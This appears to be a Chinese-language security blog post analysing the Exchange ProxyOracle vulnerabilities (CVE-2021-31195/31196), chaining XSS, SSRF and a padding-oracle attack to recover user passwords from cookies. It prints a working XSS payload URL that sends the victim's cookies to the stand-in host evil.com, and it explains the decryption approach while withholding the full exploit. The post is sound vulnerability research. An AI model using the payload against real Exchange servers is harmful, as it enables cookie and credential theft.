影响版本

CVE-2021-31195

  • Exchange Server 2013 < May21SU
  • Exchange Server 2016 < May21SU < CU21
  • Exchange Server 2019 < May21SU < CU10

CVE-2021-31196

  • Exchange Server 2013 < Jul21SU
  • Exchange Server 2016 < Jul21SU
  • Exchange Server 2019 < Jul21SU

利用分析

补丁层面的代码分析就不细说了,可以参考上一篇的ProxyLogon漏洞分析。

CVE-2021-31195是一个1-Click的XSS,但是exchange的cookie各个字段基本都有HttpOnly,没法直接JS获取。还记得上一篇中说到的吗:

小结一下,Cookie的X-BEResource值可以控制CAS请求的Host,结合UriBuilder类特性可以构造出可控的完整URL,因为采用Kerberos认证所以不能向任意站点发起请求

除了X-BEResource字段,还有X-AnonResource-Backend; X-AnonResource这一组字段可以造成SSRF,而且这个不存在kerb认证,可以向任意站点发起HTTPS请求:

本质上是让CAS成为一个反代,将我们指定的站点视为后端,转发HTTPS请求。利用这一点,用XSS执行JS给受害者加上一组存在SSRF的Cookie,并向SSRF漏洞入口发起请求,CAS会将带有完整Cookie的HTTPS请求转发到指定站点,实现绕过HttpOnly窃取Cookies。

1
https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//

获取到的Cookie中cadataKey、cadataIV、cadataSig是被RSA加密过的字段,cadata字段是用AES-CBC加密的"Basic " + ToBase64String(UserName + ":" + Password)。在AES出现填充错误时,重定向的URL包含reason=0参数;如果是填充正确但业务逻辑出错,重定向的URL包含reason=2参数。

这样就达成了PaddingOracle攻击的前置条件,不熟悉的同学请参考附加篇PaddingOracle攻击原理。

但是因为IV被RSA加密,属于上文中既不可读也不可见的情况,我们无法通过PaddingOracle解密出cadata密文的第一块(16个字符),但好在拼接了Basic 字符串且C#的编码为UTF-16-LE(每个ASCII字符对应两个编码),所以前6*2=12个字节会是固定的。

1
2
>>> "Basic ".encode("utf-16-le")
b'B\x00a\x00s\x00i\x00c\x00 \x00'

那么第一块中还有16-12=4个字节无法确认,不过AES-CBC加密的其实是Base64编码(每4个编码对应3个ASCII字符),我们最终只会损失(4/2)*(3/4)=1.5个明文ASCII字符(要向上取整,损失两个)。而这前两个ASCII字符,在窃取到的Cookie中logondata=acc=0&lgn=test.com\administrator;已经可以读到了。

接下来就是跑PaddingOracle了,不想太有判头不放完整EXP了,理解原理后可以很快写出来。

下一篇我们将一起讨论ProxyShell~

参考链接

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!